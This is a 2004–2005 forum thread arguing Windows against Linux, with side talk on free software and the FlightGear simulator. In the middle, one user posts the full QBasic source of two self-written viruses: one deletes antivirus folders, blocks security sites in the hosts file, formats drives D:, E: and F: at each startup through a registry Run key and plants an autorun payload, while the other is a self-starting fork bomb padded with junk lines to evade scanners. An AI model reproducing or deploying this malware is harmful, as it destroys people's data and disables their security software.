I still say - for the record - windows is nice, usable, all my family except me uses it. But so is linux. Of course OS X is the best!!! its just that Linux is more viable *for me* than any of the two others for many many reasons.

And borg, 
If windows gives you less headaches good for you!!! who am i  to dictate anything to you.  Nobody, i say. 

And who knows what it gonna be like after 3 years. Maybe you change your mind. Maybe i will have to change my mine.!!!


----------



## it_waaznt_me (Aug 31, 2004)

I wanted to say here that Linux's plus points are *not* security and stablity ... They are it being free and opensource .. Free so anyone can use it and share the media with his freinds ..and opensource so everyone has access to the source and he can find out what lies beneath ...


----------



## GNUrag (Aug 31, 2004)

it_waaznt_me said:
			
		

> I wanted to say here that Linux's plus points are *not* security and stablity ... They are it being free and opensource ..


Thank goodness, at least some one understands and shares my point of view... 



			
				it_waaznt_me said:
			
		

> Free so anyone can use it and share the media with his freinds ..and opensource so everyone has access to the source and he can find out what lies beneath ...


You know, what you said above is not quite important from @borg's point of view... He just keeps criticizing of some * Linux  * thing... what is this linux man??? Its Free Software and Open Standards that I always talk about.... 

And you know what borg, I dont give any sh** to the GUI and interface of Windows XP.... When you grow up and handle assignments and projects and suddenly loose important data due to viruses, then you'll realize....


----------



## borg (Aug 31, 2004)

GNUrag, I was not referring to you at all when I wrote that. So basically, you are directing your anger at me for the wrong reasons. Anyway, peace everyone. Lets take everything in good spirit. I am not anti opensource. If the end product is better, then good.


----------



## GNUrag (Aug 31, 2004)

borg said:
			
		

> Anyway, peace everyone. Lets take everything in good spirit.


Yes... let's cool down...



			
				borg said:
			
		

> I am not anti opensource. If the end product is better, then good.


And i am not anti Microsoft... I dont prefer proprietary standards and I dont like the policy department of Microsoft... MS gets criticized due to its anti people policies and people like you blame Free Software Activists for creating a propaganda war... just think about it...


----------



## borg (Aug 31, 2004)

Also, oldmonk, am looking at the flight gear program that u mentioned. Looks like its still under development. It might be good, but havent tried it yet. I don't think it is available on CD anywhere. Maybe I have download the whole thing


----------



## oldmonk (Aug 31, 2004)

*flightgear*

you can run it on windows too. JUst download fightgear sources and cygwin. Compile and you're ready to go.

or you can buy a set of 11 cds from the website with complied versions for win, mac and linux etc with complete world scenery.

Cheers


----------



## anomaly (Aug 31, 2004)

> flight gear program that u mentioned. Looks like its still under development. It might be good, but havent tried it yet. I don't think it is available on CD anywhere.



Borg,  i do not think you are any close to realizing what flightgear actually is, and i do not even think you have visited the website

www.flightgear.org

YES, flightgear is still under development, and it will continue to remain so, because it is open source and many programmers are working on it. 

Another thing, if you do not know anything about real life flying, please do not download it, as it is truly a simulator, and not a game.

It is available on CD's, you can visit the website and order a complete set, or a set with the scenery that you desire (you can select the areas you want) and the author will mail the number of cd's required (the complete set is 11 cd's) to you, charging you only for the cost of mailing and the cost of cd's. 

If you are on broadband, you can certainly download it. And beat this, you can download the source code version or a pre-compiled executable for your specific OS.

Also, you can select the areas whose scenery you want to download.

So, i do not think it gets any better than this.

And yes, 
I am a pilot, and i have had simulators from MSFS 5 to MSFS 2004. FLY II,  Flight Unlimited, X-Plane etc.... but nothing beats Flightgear as far as flight realism is concerned. MSFS2004 does not even come close.

Try landing a 737 at Kathmandu in FS2004 - u really think its that easy?? Try it in Flightgear and you will know what a pilot exactly goes through... well almost.

ANd also, Flightgear has been specifically made for Linux, and runs best on it (i do not want to list this as one of the shortcomings of windows), The other flavours for Windows, etc, have been copmpiled by programmers other than the developer. Also, you cannot screw around with the source code in windows.

happy flying - incase you manage to get a good enough frame rate on windows - i managed only 4-8FPS - in linux it shot up to 30.


----------



## borg (Aug 31, 2004)

Got that anamoly. Will try it out on both Win & Linu then. Downloaded the Windows installer already.


----------



## oldmonk (Sep 1, 2004)

> I am a pilot, and i have had simulators from MSFS 5 to MSFS 2004. FLY II, Flight Unlimited, X-Plane etc.... but nothing beats Flightgear as far as flight realism is concerned. MSFS2004 does not even come close.



    *WOW*

when have you been to kathamandu???[/b]


----------



## oldmonk (Sep 1, 2004)

sorry ....
just kidding.


----------



## ra_rav (Dec 5, 2005)

*Its Great*

Open source means openig your inside to others. And belive me this was the discussion I was searching for. I ageree to what every body says(in mixed terms). But I stand along with tux for definetly some other reasons. Till now everybody of us has been looking to USA(MS+Intel and many more co.) for our comuting needs. In India there is no development(except Simputer, Param etc. which are also depend on tech imports). But now we acn see the illeffects of this mess. There was a threat to Iran that it will be disconnected from the Internet. Then earlier also many nation(including India) were denied the right to get 128-bit encrypton on the basis of false security reasons. Linux and the open source can be the core-competency of India. A reply to the world about our self dependency. Even US can't misuse GPL to pin down us. That's why our respected president Dr. A P J Abdul Kalam support OSS. Instead of quarreling over which is better lets move for our own development.


----------



## Satissh S (Dec 5, 2005)

How are people able to give life to oooooooooold threads??   
@ra_rav: Did you see the date of last post? It's 1st September 2004


----------



## it_waaznt_me (Dec 6, 2005)

_"Good threads never die ... They are pruned .." _ - Rev. Batty


----------



## desertwind (Dec 6, 2005)

Ya, there was an excellent discussion over there. This thread is a reference.


----------



## cryptid (Dec 8, 2005)

ok let me give u few reason for hating Windows first off it is awefully expensive Windows XP professional cost around 7,000 Rs now and then u have to have a Good anti Virus that will come upto another 2000 /- for a 1 yr subscription from a well reputed AV company ( rmr when a new trojan virus or worm is found in the wild it will take atleast 2-3 days for the AV companies to release a patch for it, so for those 2-3 days u cant work on the net and then it will take another few weeks for MS to release a permanent fix or we might have to wait for a few months for the service pack to be released) and then u also need a Firewall the best in line is Zone Alarm which is not free so u will have to pay for it or resort to other illegal ways.SO over all if u have a look at it u have to pay seperatly for the OS the again for the Security and what not and still u will not be secure . let me tell u one simple way of testing Windows security and stability and comparing it to linux just try to run ur windows for few days without a firewall or a AV or anyother security software that does not come bundled with Windows and do all the normal things that u do like surf the net download songs check emails surf the digit forum vist porn sites    search for serialskeys and cracks and then after few days like 2 or 3 days install a decent AV like Kaspersky or Bitdefender and scan ur entire system and check how badly ur infected then u will realise how good Linux is,,, let me tell u what happened to my computer when i did this test on my com my computer was hardly connected to the internet for 5 mins that i was already infected with 37 worms and backdoor trojans andten suddenly this screen showed up and said that the computer will shutdown in 60 secs and then when i rebooted i saw the Deadly Blue screen of death..

Bottom line Windows is the most insecure OS every made it hardly takes 2 to 10 lines of code to destroy  the OS completly but in case of Linux if u have to infect it u will need the root password and without the root password nothing can be done so there is not chance for worms or trojans to exist for lInux few years back i had seens few root kits that could decrypt the root password but now they dont work,, so i hope u get the idea of how bad the security of windows & another thing i forgot to mention is about spyware and adware these sort of stuff can only be found on Windows there no ways Linux can be infected with such useless stuff

if u still feel Windows is better i will show u some really easy way to beat its security and also bypass all Avs (u need to have some programing knowledge to understand this)it hardly took me 1 or 2 hours to write this virus ( i am proof of concept virus writer i submit all my work to AV companies before i release there source codes on the Net)

Please dont compile these codes and spread i am not responsible for any damage done i am just puting these simple codes to show how bad windows security is
at this time i will show only 2 virii codes of mine

 "Everyone has the right to freedom of opinion and expression;
this right includes freedom to hold opinions without interference
and to seek, receive and impart information and ideas througt
any media and regardless of frontiers."
Article 19 of "Universal Declaration of Human Rights"

..:ecimatoin.a::..
description:
- Invisible Batch file execution(no ugly black screen)
- Deletes Few known Anvtivirus direcotires(18)(Retro method)
- Edits hosts file and blocks few search engine sites and security related sites
- Randome set encryption for batch files generated
- Formats D: E: F: drives on every startup
- Autorun.inf payload (disables mouse and keyboard if Win9x and Shutsdown the computer if WinXP)
- over writes PandaAntivirus Registry key

```
CLS

PRINT "Please wait as requested files are Generated..."

OPEN "C:\WINDOWS\invi.vbs" FOR OUTPUT AS #1

PRINT #1, "CreateObject("; CHR$(34); "Wscript.shell"; CHR$(34); ").Run "; CHR$(34); CHR$(34); CHR$(34); CHR$(34); " & Wscript.Arguments(0) & "; CHR$(34); CHR$(34); CHR$(34); CHR$(34); ", 0, False"

CLOSE #1

RANDOMIZE TIMER

OPEN "C:\WINDOWS\$&$.bat" FOR OUTPUT AS #2

RAN = INT(RND * 2) + 97

a$ = CHR$(RAN)

RAN1 = INT(RND * 2) + 88

b$ = CHR$(RAN1)

PRINT #2, "@echo off"

PRINT #2, "if exist C:\WINDOWS\hosts goto 9xAV"

PRINT #2, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto NTAV"

PRINT #2, ":9xAV"

PRINT #2, "set " + a$ + "=ltree/y C:\Program Files\"

PRINT #2, "set " + b$ + "=de"

PRINT #2, "GOTO avlist"

PRINT #2, ":NTAV"

PRINT #2, "set " + a$ + "=S/Q C:\Progra~1\"

PRINT #2, "set " + b$ + "=rd/"

PRINT #2, "goto avlist"

PRINT #2, ":9xAV1"

PRINT #2, "set " + a$ + "=ee/y C:\WINDOWS\"

PRINT #2, "set " + b$ + "=tr"

PRINT #2, "Echo $>C:\WINDOWS\$.$"

PRINT #2, "goto avlist"

PRINT #2, ":NTAV1"

PRINT #2, "set " + a$ + "=d/s/q C:\WINDOWS\"

PRINT #2, "set " + b$ + "=r"

PRINT #2, "Echo $>C:\WINDOWS\$.$"

PRINT #2, "goto avlist"

PRINT #2, ":avlist_"

PRINT #2, "exit"

PRINT #2, ":avlist"

PRINT #2, "%" + b$ + "%%" + a$ + "%Micros~1\"

PRINT #2, "%" + b$ + "%%" + a$ + "%antiba*"

PRINT #2, "%" + b$ + "%%" + a$ + "%antivi*"

PRINT #2, "%" + b$ + "%%" + a$ + "%av*"

PRINT #2, "%" + b$ + "%%" + a$ + "%bit*"

PRINT #2, "%" + b$ + "%%" + a$ + "%cleanc*"

PRINT #2, "%" + b$ + "%%" + a$ + "%esafen\"

PRINT #2, "%" + b$ + "%%" + a$ + "%f-*"

PRINT #2, "%" + b$ + "%%" + a$ + "%fwin*"

PRINT #2, "%" + b$ + "%%" + a$ + "%kasper*"

PRINT #2, "%" + b$ + "%%" + a$ + "%mcaf*"

PRINT #2, "%" + b$ + "%%" + a$ + "%msav\"

PRINT #2, "%" + b$ + "%%" + a$ + "%norman\"

PRINT #2, "%" + b$ + "%%" + a$ + "%norton*"

PRINT #2, "%" + b$ + "%%" + a$ + "%pccill*"

PRINT #2, "%" + b$ + "%%" + a$ + "%pc-cill*"

PRINT #2, "%" + b$ + "%%" + a$ + "%trend*"

PRINT #2, "%" + b$ + "%%" + a$ + "%zone*"

PRINT #2, "if exist C:\WINDOWS\$.$ goto avlist_"

PRINT #2, "if exist C:\WINDOWS\hosts goto 9xAV1"

PRINT #2, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto NTAV1"

PRINT #2, "exit"

CLOSE #2

SHELL "Wscript C:\WINDOWS\INVI.VBS C:\WINDOWS\$&$.BAT"

RANDOMIZE TIMER

RAN13 = INT(RND * 2) + 99

sys$ = CHR$(RAN13)

Ran31 = INT(RND * 2) + 87

ssy$ = CHR$(Ran31)

RAN7 = INT(RND * 2) + 104

t$ = CHR$(RAN7)

OPEN "C:\WINDOWS\system32\syslogz.bat" FOR OUTPUT AS #3

PRINT #3, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto TnT"

PRINT #3, "if exist C:\WINDOWS\hosts goto x9X"

PRINT #3, ":TnT"

PRINT #3, "set " + sys$ + "=r"

PRINT #3, "set " + ssy$ + "=d/s/"

PRINT #3, "set " + CHR$(198) + "=q"

PRINT #3, "goto list"

PRINT #3, ":x9X"

PRINT #3, "set " + sys$ + "=de"

PRINT #3, "set " + ssy$ + "=lt"

PRINT #3, "set " + CHR$(198) + "=ree/y"

PRINT #3, "goto list"

PRINT #3, ":list"

PRINT #3, "if exist D: %" + sys$ + "%" + "%" + ssy$ + "%" + "%" + CHR$(198) + "% D:"

PRINT #3, "if exist E: %" + sys$ + "%" + "%" + ssy$ + "%" + "%" + CHR$(198) + "% E:"

PRINT #3, "if exist F: %" + sys$ + "%" + "%" + ssy$ + "%" + "%" + CHR$(198) + "% F:"

PRINT #3, "exit"

CLOSE #3

OPEN "C:\%.reg" FOR OUTPUT AS #4

PRINT #4, "REGEDIT4"

PRINT #4, ""

PRINT #4, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"

PRINT #4, CHR$(34); "APVXDWIN"; CHR$(34); "="; CHR$(34); "wscript C:\\WINDOWS\\INVI.VBS C:\\WINDOWS\\system32\\SYSLOGZ.BAT"; CHR$(34)

CLOSE #4

SHELL "regedit/s C:\%.reg"

OPEN "C:\WINDOWS\hfk.bat" FOR OUTPUT AS #8

PRINT #8, "set spit=Echo"

PRINT #8, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto TnT"

PRINT #8, "if exist C:\WINDOWS\hosts goto z9X"

PRINT #8, ":TnT"

PRINT #8, "set " + ssy$ + "=C:\WINDOWS\system32\drivers\etc\hosts"

PRINT #8, "goto hlst"

PRINT #8, ":z9X"

PRINT #8, "set " + ssy$ + "=C:\WINDOWS\hosts"

PRINT #8, "goto hlst"

PRINT #8, ":hlst"

PRINT #8, "set " + t$ + "=127.0.0.1"

PRINT #8, "%spit% [url]www.google.co.in[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.google.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.google.co.uk[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.google.co.kr[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.askjeeves.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.kaspersky.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.kasperskylabs.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.norton.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.microsoft.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.bullguard.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.bitdefender.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% us.mcafee.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.mcafee.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.symantec.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% antivirus.pbnet.ru %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.download.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.altavesta.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% search.yahoo.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.softpedia.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.sophos.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% ftp.sophos.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.f-secure.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% securityresponce.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% liveupdate.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% updates.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% download.mcafee.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.trendmicro.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% [url]www.microsoft.com[/url] %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "exit"

CLOSE #8

SHELL "wscript C:\WINDOWS\INVI.VBS C:\WINDOWS\HFK.BAT"

OPEN "C:\WINDOWS\SYS.BAT" FOR APPEND AS #6

PRINT #6, "if %OS%==Windows_NT goto st"

PRINT #6, "rundll32 mouse,disable"

PRINT #6, "rundll32 keyboard,disable"

PRINT #6, "exit"

PRINT #6, ":st"

PRINT #6, "shutdown -s -f -t 03 -c "; CHR$(34); "Windows as usual has performed an illegal operation"; CHR$(34)

CLOSE #6

OPEN "C:\Autorun.inf" FOR OUTPUT AS #7

PRINT #7, "[autorun]"

PRINT #7, "open=wscript C:\WINDOWS\INVI.VBS C:\WINDOWS\SYS.BAT"

CLOSE #7

SHELL "attrib +H +R +A C:\Autorun.inf"

SHELL "mkdir C:\WINDOWS\" + CHR$(167) + CHR$(198) + CHR$(167) + CHR$(198)

SHELL "subst K: C:\WINDOWS\" + CHR$(167) + CHR$(198) + CHR$(167) + CHR$(198)

SHELL "mkdir C:\WINDOWS\" + CHR$(165) + CHR$(198) + CHR$(165) + CHR$(198)

SHELL "subst W: C:\WINDOWS\" + CHR$(165) + CHR$(198) + CHR$(165) + CHR$(198)
```

..::QuickFlood::..
Description:
it will flood ur screen with infinite number of MS-Dos screens & eats all the available RAM and wil result in system crash within 3-5 seconds on a old P3 933 MHz computer and will crash even faster on fast P4 Systems
the starting few lines of code are just fake bytes to bypass AV scans


```
OPEN "C:\WINDOWS\hro.bat" FOR OUTPUT AS #1

PRINT #1, "REM isdfnkjns:cryptid:sjkdfh;kjshfhb;kbdjg;jsdhf;jhsdfg;hfgh "

PRINT #1, "Rem fjhjhdfgljdfhgjkhsflfg:cryptid:ldflgjhdflghsldfkhglfdksh "

PRINT #1, "Rem urytuieryt:cryptid:uerytuievbvvgdhfgjgjdfgjdfhglrfhglfdy "

PRINT #1, "rem fghdfgjhfgjkghfgjhdfgj:cryptid:hgdfghfdgdfhgdjfgfsgfgkkf "

PRINT #1, "ReM cvbnmbvnmc:cryptid:bkhfdskjhsdfriutoiw[posuhfksjdfjkshkf "

PRINT #1, "rEM qtwueytqweyuytoiyuoyiu:cryptid:jhsdfsdfjsdjhfgjsdgfjjgsy "

PRINT #1, "REm ytioyeroit:cryptid:erytioeryihsdfjksdhkhskfjhskdjfhksdhf "

PRINT #1, "rem sdfkjshdkfjhsdjfkhskdh:cryptid:dhfksdfkhsdkfhsdfhksdskdj "

PRINT #1, "start %0"

PRINT #1, "%0"

CLOSE #1

OPEN "C:\WINDOWS\GUI.reg" FOR OUTPUT AS #2

PRINT #2, "REGEDIT4"

PRINT #2, ""

PRINT #2, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"

PRINT #2, CHR$(34); "cRyPtID"; CHR$(34); "="; CHR$(34); "C:\\WINDOWS\\hro.bat"; CHR$(34)

CLOSE #2

OPEN "C:\WINDOWS\act_Gui.bat" FOR OUTPUT AS #3

PRINT #3, "@echo off"

PRINT #3, "regedit/s C:\WINDOWS\gui.reg"

CLOSE #3

SHELL "C:\WINDOWS\act_Gui.bat"

KILL "C:\WINDOWS\GUI.REG"

KILL "C:\WINDOWS\act_Gui.bat"
```

i my self have written over 20 malware for windows & most of them are polymorphic and properly encrypted so that it would not be detected by AVs, and it didnt take more that 30 mins on the avg to write them i dont do this to cause harm to ppl, rmr i am only proof of concept virus writer i never spread my creations & submit my work to AV companies before putting them up on the to share it with ppl who are intrested in such things


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## praka123 (Dec 8, 2005)

Wingdows Users Learn from the above Post


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## vignesh (Dec 8, 2005)

Ya...


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## lywyre (Dec 10, 2005)

Please don't say that Windows is user friendly, it is idiot friendly, it is idiot proof, that is all. But anyone can easily by pass its security limitations in just a matter of time.


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## cryptid (Dec 13, 2005)

Idiot friendly is the rite word to be used thanx lywyre


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## adityaksharma (Dec 13, 2005)

i agree..........windows is idiot friendly...mac os is user friendly .......ever since i installed OS x 10.4 tiger on my pc i havent gone back to windows........... and btw......i use FC3 for otherwise..............windows ..........nah


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## kumarmohit (Dec 14, 2005)

borg said:
			
		

> Microsoft comes under heavy criticism regularly, easpecially from Linux buffs. But recent polls on this forum clearly shows that MS is more popular than Linux (atleast for the users on this forum). So why shouldn't Windows users pour some criticism on Linux?. Linux is by no means perfect or even close to perfect. That is why so few people use Linux. I will post a few reasons a to why, I believe, Linux hasn't caught on & why it simply has no chance whatsoever against Windows (atleast for now)
> 
> *1. Totally unintiutive*
> I believe this is the main reason. Using Linux makes me feel that the designers just didn't want to make it usable by everyone. Some of the tasks are ridiculously difficult to go about. It sometimes seems that it was al deliberate. Though in recent times a lot has improved, using Linux still involves a lot of command lining, which is unacceptable for a modern computer user.  mean who wants to type lousy commands in the command line in this age of the GUI???.
> ...



If u think linux is not good lookin just go and look at some screeshots at 

*osdir.com/


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## kumarmohit (Dec 14, 2005)

> 1. MS Flight Simulator - tell me any other flight simulator which even comes close to this one. MS Flight Simulator is the best flight sim period. there are so many features on this one that no one else in the business has. Microsoft games are some of the best. They are not copies.



Did u get this months fast track book I has some thing called flightgear in it



> 3. MS makes some of the best input devices, whether they be keyboards & mice or gamepads. They are simply the best.



Are u talkin abyt HW or Sw



> 4. MS was also the firt to come up with the CD autorun feature. You just insert the CD, the program automatically starts. No one else had this prior to MS. (In Linux, even after inserting the disc, you have to manually mount it to even read it, lol)



Not now in linux either heard of Supermount


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